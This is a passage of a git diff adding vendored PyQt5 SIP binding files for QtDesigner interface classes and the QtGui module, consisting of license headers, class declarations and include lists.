b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/abstractwidgetbox.sip @@ -0,0 +1,36 @@ +// abstractwidgetbox.sip generated by MetaSIP +// +// This file is part of the QtDesigner Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QDesignerWidgetBoxInterface : QWidget /Abstract/ +{ +%TypeHeaderCode +#include +%End + +public: + QDesignerWidgetBoxInterface(QWidget *parent /TransferThis/ = 0, Qt::WindowFlags flags = 0); + virtual ~QDesignerWidgetBoxInterface(); + virtual void setFileName(const QString &file_name) = 0; + virtual QString fileName() const = 0; + virtual bool load() = 0; + virtual bool save() = 0; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/container.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/container.sip new file mode 100644 index 00000000..824e5063 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/container.sip @@ -0,0 +1,40 @@ +// container.sip generated by MetaSIP +// +// This file is part of the QtDesigner Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QDesignerContainerExtension +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QDesignerContainerExtension(); + virtual int count() const = 0 /__len__/; + virtual QWidget *widget(int index) const = 0; + virtual int currentIndex() const = 0; + virtual void setCurrentIndex(int index) = 0; + virtual void addWidget(QWidget *widget) = 0; + virtual void insertWidget(int index, QWidget *widget) = 0; + virtual void remove(int index) = 0; + virtual bool canAddWidget() const; + virtual bool canRemove(int index) const; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/customwidget.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/customwidget.sip new file mode 100644 index 00000000..3f1a437f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/customwidget.sip @@ -0,0 +1,54 @@ +// customwidget.sip generated by MetaSIP +// +// This file is part of the QtDesigner Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QDesignerCustomWidgetInterface +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QDesignerCustomWidgetInterface(); + virtual QString name() const = 0; + virtual QString group() const = 0; + virtual QString toolTip() const = 0; + virtual QString whatsThis() const = 0; + virtual QString includeFile() const = 0; + virtual QIcon icon() const = 0; + virtual bool isContainer() const = 0; + virtual QWidget *createWidget(QWidget *parent /TransferThis/) = 0 /Factory/; + virtual bool isInitialized() const; + virtual void initialize(QDesignerFormEditorInterface *core); + virtual QString domXml() const; + virtual QString codeTemplate() const; +}; + +class QDesignerCustomWidgetCollectionInterface +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QDesignerCustomWidgetCollectionInterface(); + virtual QList customWidgets() const = 0; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/default_extensionfactory.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/default_extensionfactory.sip new file mode 100644 index 00000000..0ecadc44 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/default_extensionfactory.sip @@ -0,0 +1,41 @@ +// default_extensionfactory.sip generated by MetaSIP +// +// This file is part of the QtDesigner Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QExtensionFactory : QObject, QAbstractExtensionFactory +{ +%TypeHeaderCode +#include +%End + +public: +%If (Qt_5_11_0 -) + explicit QExtensionFactory(QExtensionManager *parent /TransferThis/ = 0); +%End +%If (- Qt_5_11_0) + QExtensionFactory(QExtensionManager *parent /TransferThis/ = 0); +%End + virtual QObject *extension(QObject *object, const QString &iid) const; + QExtensionManager *extensionManager() const; + +protected: + virtual QObject *createExtension(QObject *object, const QString &iid, QObject *parent /TransferThis/) const /Factory/; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/extension.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/extension.sip new file mode 100644 index 00000000..0033f6f9 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/extension.sip @@ -0,0 +1,45 @@ +// extension.sip generated by MetaSIP +// +// This file is part of the QtDesigner Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QAbstractExtensionFactory +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QAbstractExtensionFactory(); + virtual QObject *extension(QObject *object, const QString &iid) const = 0; +}; + +class QAbstractExtensionManager +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QAbstractExtensionManager(); + virtual void registerExtensions(QAbstractExtensionFactory *factory, const QString &iid) = 0; + virtual void unregisterExtensions(QAbstractExtensionFactory *factory, const QString &iid) = 0; + virtual QObject *extension(QObject *object, const QString &iid) const = 0; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/formbuilder.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/formbuilder.sip new file mode 100644 index 00000000..74164572 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/formbuilder.sip @@ -0,0 +1,37 @@ +// formbuilder.sip generated by MetaSIP +// +// This file is part of the QtDesigner Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QFormBuilder : QAbstractFormBuilder +{ +%TypeHeaderCode +#include +%End + +public: + QFormBuilder(); + virtual ~QFormBuilder(); + QStringList pluginPaths() const; + void clearPluginPaths(); + void addPluginPath(const QString &pluginPath); + void setPluginPath(const QStringList &pluginPaths); + QList customWidgets() const; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/membersheet.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/membersheet.sip new file mode 100644 index 00000000..a3da2046 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/membersheet.sip @@ -0,0 +1,45 @@ +// membersheet.sip generated by MetaSIP +// +// This file is part of the QtDesigner Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QDesignerMemberSheetExtension +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QDesignerMemberSheetExtension(); + virtual int count() const = 0 /__len__/; + virtual int indexOf(const QString &name) const = 0; + virtual QString memberName(int index) const = 0; + virtual QString memberGroup(int index) const = 0; + virtual void setMemberGroup(int index, const QString &group) = 0; + virtual bool isVisible(int index) const = 0; + virtual void setVisible(int index, bool b) = 0; + virtual bool isSignal(int index) const = 0; + virtual bool isSlot(int index) const = 0; + virtual bool inheritedFromWidget(int index) const = 0; + virtual QString declaredInClass(int index) const = 0; + virtual QString signature(int index) const = 0; + virtual QList parameterTypes(int index) const = 0; + virtual QList parameterNames(int index) const = 0; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/propertysheet.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/propertysheet.sip new file mode 100644 index 00000000..24b51686 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/propertysheet.sip @@ -0,0 +1,47 @@ +// propertysheet.sip generated by MetaSIP +// +// This file is part of the QtDesigner Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QDesignerPropertySheetExtension +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QDesignerPropertySheetExtension(); + virtual int count() const = 0 /__len__/; + virtual int indexOf(const QString &name) const = 0; + virtual QString propertyName(int index) const = 0; + virtual QString propertyGroup(int index) const = 0; + virtual void setPropertyGroup(int index, const QString &group) = 0; + virtual bool hasReset(int index) const = 0; + virtual bool reset(int index) = 0; + virtual bool isVisible(int index) const = 0; + virtual void setVisible(int index, bool b) = 0; + virtual bool isAttribute(int index) const = 0; + virtual void setAttribute(int index, bool b) = 0; + virtual QVariant property(int index) const = 0; + virtual void setProperty(int index, const QVariant &value) = 0; + virtual bool isChanged(int index) const = 0; + virtual void setChanged(int index, bool changed) = 0; + virtual bool isEnabled(int index) const; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/qextensionmanager.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/qextensionmanager.sip new file mode 100644 index 00000000..aff972e3 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/qextensionmanager.sip @@ -0,0 +1,82 @@ +// qextensionmanager.sip generated by MetaSIP +// +// This file is part of the QtDesigner Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QExtensionManager : QObject, QAbstractExtensionManager +{ +%TypeHeaderCode +#include +%End + +%ConvertToSubClassCode + static struct class_graph { + const char *name; + sipTypeDef **type; + int yes, no; + } graph[] = { + {sipName_QPyDesignerCustomWidgetPlugin, &sipType_QPyDesignerCustomWidgetPlugin, -1, 1}, + {sipName_QExtensionFactory, &sipType_QExtensionFactory, -1, 2}, + {sipName_QPyDesignerMemberSheetExtension, &sipType_QPyDesignerMemberSheetExtension, -1, 3}, + {sipName_QDesignerFormEditorInterface, &sipType_QDesignerFormEditorInterface, -1, 4}, + {sipName_QDesignerWidgetBoxInterface, &sipType_QDesignerWidgetBoxInterface, -1, 5}, + {sipName_QDesignerFormWindowInterface, &sipType_QDesignerFormWindowInterface, -1, 6}, + {sipName_QDesignerActionEditorInterface, &sipType_QDesignerActionEditorInterface, -1, 7}, + {sipName_QPyDesignerContainerExtension, &sipType_QPyDesignerContainerExtension, -1, 8}, + {sipName_QDesignerPropertyEditorInterface, &sipType_QDesignerPropertyEditorInterface, -1, 9}, + {sipName_QDesignerFormWindowManagerInterface, &sipType_QDesignerFormWindowManagerInterface, -1, 10}, + {sipName_QPyDesignerTaskMenuExtension, &sipType_QPyDesignerTaskMenuExtension, -1, 11}, + {sipName_QPyDesignerPropertySheetExtension, &sipType_QPyDesignerPropertySheetExtension, -1, 12}, + {sipName_QDesignerObjectInspectorInterface, &sipType_QDesignerObjectInspectorInterface, -1, 13}, + {sipName_QPyDesignerCustomWidgetCollectionPlugin, &sipType_QPyDesignerCustomWidgetCollectionPlugin, -1, 14}, + {sipName_QExtensionManager, &sipType_QExtensionManager, -1, -1}, + }; + + int i = 0; + + sipType = NULL; + + do + { + struct class_graph *cg = &graph[i]; + + if (cg->name != NULL && sipCpp->inherits(cg->name)) + { + sipType = *cg->type; + i = cg->yes; + } + else + i = cg->no; + } + while (i >= 0); +%End + +public: +%If (Qt_5_6_1 -) + explicit QExtensionManager(QObject *parent /TransferThis/ = 0); +%End +%If (- Qt_5_6_1) + QExtensionManager(QObject *parent /TransferThis/ = 0); +%End + virtual ~QExtensionManager(); + virtual void registerExtensions(QAbstractExtensionFactory *factory, const QString &iid = QString()); + virtual void unregisterExtensions(QAbstractExtensionFactory *factory, const QString &iid = QString()); + virtual QObject *extension(QObject *object, const QString &iid) const; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/qpydesignercontainerextension.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/qpydesignercontainerextension.sip new file mode 100644 index 00000000..90eed305 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/qpydesignercontainerextension.sip @@ -0,0 +1,32 @@ +// This is the SIP specification of the QPyDesignerContainerExtension class. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QPyDesignerContainerExtension : QObject, QDesignerContainerExtension +{ +%TypeHeaderCode +#include +%End + +public: + QPyDesignerContainerExtension(QObject *parent /TransferThis/); + +private: + QPyDesignerContainerExtension(const QPyDesignerContainerExtension &); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/qpydesignercustomwidgetcollectionplugin.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/qpydesignercustomwidgetcollectionplugin.sip new file mode 100644 index 00000000..0dcd32cc --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/qpydesignercustomwidgetcollectionplugin.sip @@ -0,0 +1,33 @@ +// This is the SIP specification of the QPyDesignerCustomWidgetCollectionPlugin +// class. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QPyDesignerCustomWidgetCollectionPlugin : QObject, QDesignerCustomWidgetCollectionInterface +{ +%TypeHeaderCode +#include +%End + +public: + QPyDesignerCustomWidgetCollectionPlugin(QObject *parent /TransferThis/ = 0); + +private: + QPyDesignerCustomWidgetCollectionPlugin(const QPyDesignerCustomWidgetCollectionPlugin &); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/qpydesignercustomwidgetplugin.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/qpydesignercustomwidgetplugin.sip new file mode 100644 index 00000000..70d93bf2 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/qpydesignercustomwidgetplugin.sip @@ -0,0 +1,32 @@ +// This is the SIP specification of the QPyDesignerCustomWidgetPlugin class. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QPyDesignerCustomWidgetPlugin : QObject, QDesignerCustomWidgetInterface +{ +%TypeHeaderCode +#include +%End + +public: + QPyDesignerCustomWidgetPlugin(QObject *parent /TransferThis/ = 0); + +private: + QPyDesignerCustomWidgetPlugin(const QPyDesignerCustomWidgetPlugin &); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/qpydesignermembersheetextension.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/qpydesignermembersheetextension.sip new file mode 100644 index 00000000..b23e51f4 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/qpydesignermembersheetextension.sip @@ -0,0 +1,32 @@ +// This is the SIP specification of the QPyDesignerMemberSheetExtension class. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QPyDesignerMemberSheetExtension : QObject, QDesignerMemberSheetExtension +{ +%TypeHeaderCode +#include +%End + +public: + QPyDesignerMemberSheetExtension(QObject *parent /TransferThis/); + +private: + QPyDesignerMemberSheetExtension(const QPyDesignerMemberSheetExtension &); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/qpydesignerpropertysheetextension.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/qpydesignerpropertysheetextension.sip new file mode 100644 index 00000000..f8b4b354 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/qpydesignerpropertysheetextension.sip @@ -0,0 +1,33 @@ +// This is the SIP specification of the QPyDesignerPropertySheetExtension +// class. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QPyDesignerPropertySheetExtension : QObject, QDesignerPropertySheetExtension +{ +%TypeHeaderCode +#include +%End + +public: + QPyDesignerPropertySheetExtension(QObject *parent /TransferThis/); + +private: + QPyDesignerPropertySheetExtension(const QPyDesignerPropertySheetExtension &); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/qpydesignertaskmenuextension.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/qpydesignertaskmenuextension.sip new file mode 100644 index 00000000..10a062fd --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/qpydesignertaskmenuextension.sip @@ -0,0 +1,32 @@ +// This is the SIP specification of the QPyDesignerTaskMenuExtension class. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QPyDesignerTaskMenuExtension : QObject, QDesignerTaskMenuExtension +{ +%TypeHeaderCode +#include +%End + +public: + QPyDesignerTaskMenuExtension(QObject *parent /TransferThis/); + +private: + QPyDesignerTaskMenuExtension(const QPyDesignerTaskMenuExtension &); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/taskmenu.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/taskmenu.sip new file mode 100644 index 00000000..5ca111a5 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDesigner/taskmenu.sip @@ -0,0 +1,33 @@ +// taskmenu.sip generated by MetaSIP +// +// This file is part of the QtDesigner Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QDesignerTaskMenuExtension +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QDesignerTaskMenuExtension(); + virtual QList taskActions() const = 0; + virtual QAction *preferredEditAction() const; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/QtGui.toml b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/QtGui.toml new file mode 100644 index 00000000..36fec296 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/QtGui.toml @@ -0,0 +1,6 @@ +# Automatically generated configuration for PyQt5.QtGui. + +sip-version = "6.4.0" +sip-abi-version = "12.8" +module-tags = ["Qt_5_15_0", "WS_WIN"] +module-disabled-features = [] diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/QtGuimod.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/QtGuimod.sip new file mode 100644 index 00000000..17d12207 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/QtGuimod.sip @@ -0,0 +1,145 @@ +// QtGuimod.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%Module(name=PyQt5.QtGui, keyword_arguments="Optional", use_limited_api=True) + +%Import QtCore/QtCoremod.sip + +%Copying +Copyright (c) 2021 Riverbank Computing Limited + +This file is part of PyQt5. + +This file may be used under the terms of the GNU General Public License +version 3.0 as published by the Free Software Foundation and appearing in +the file LICENSE included in the packaging of this file. Please review the +following information to ensure the GNU General Public License version 3.0 +requirements will be met: http://www.gnu.org/copyleft/gpl.html. + +If you do not wish to use this file under the terms of the GPL version 3.0 +then you may purchase a commercial license. For more information contact +info@riverbankcomputing.com. + +This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +%End + +%DefaultSupertype sip.simplewrapper + +// Note this is also appended by configure.py but is explicitly needed here (probably a SIP bug). +%Include opengl_types.sip + +%Include qabstracttextdocumentlayout.sip +%Include qbackingstore.sip +%Include qbitmap.sip +%Include qcolor.sip +%Include qbrush.sip +%Include qclipboard.sip +%Include qcolorspace.sip +%Include qcolortransform.sip +%Include qcursor.sip +%Include qdesktopservices.sip +%Include qdrag.sip +%Include qevent.sip +%Include qfont.sip +%Include qfontdatabase.sip +%Include qfontinfo.sip +%Include qfontmetrics.sip +%Include qgenericmatrix.sip +%Include qglyphrun.sip +%Include qguiapplication.sip +%Include qicon.sip +%Include qiconengine.sip +%Include qimage.sip +%Include qimageiohandler.sip +%Include qimagereader.sip +%Include qimagewriter.sip +%Include qinputmethod.sip +%Include qkeysequence.sip +%Include qmatrix4x4.sip +%Include qmovie.sip +%Include qoffscreensurface.sip +%Include qopenglbuffer.sip +%Include qopenglcontext.sip +%Include qopengldebug.sip +%Include qopenglframebufferobject.sip +%Include qopenglpaintdevice.sip +%Include qopenglpixeltransferoptions.sip +%Include qopenglshaderprogram.sip +%Include qopengltexture.sip +%Include qopengltextureblitter.sip +%Include qopengltimerquery.sip +%Include qopenglversionfunctions.sip +%Include qopenglvertexarrayobject.sip +%Include qopenglwindow.sip +%Include qpagedpaintdevice.sip +%Include qpagelayout.sip +%Include qpagesize.sip +%Include qpainter.sip +%Include qpaintdevice.sip +%Include qpaintdevicewindow.sip +%Include qpaintengine.sip +%Include qpainterpath.sip +%Include qpalette.sip +%Include qpdfwriter.sip +%Include qpen.sip +%Include qpicture.sip +%Include qpixelformat.sip +%Include qpixmap.sip +%Include qpixmapcache.sip +%Include qpolygon.sip +%Include qquaternion.sip +%Include qrasterwindow.sip +%Include qrawfont.sip +%Include qregion.sip +%Include qrgba64.sip +%Include qrgb.sip +%Include qscreen.sip +%Include qsessionmanager.sip +%Include qstandarditemmodel.sip +%Include qstatictext.sip 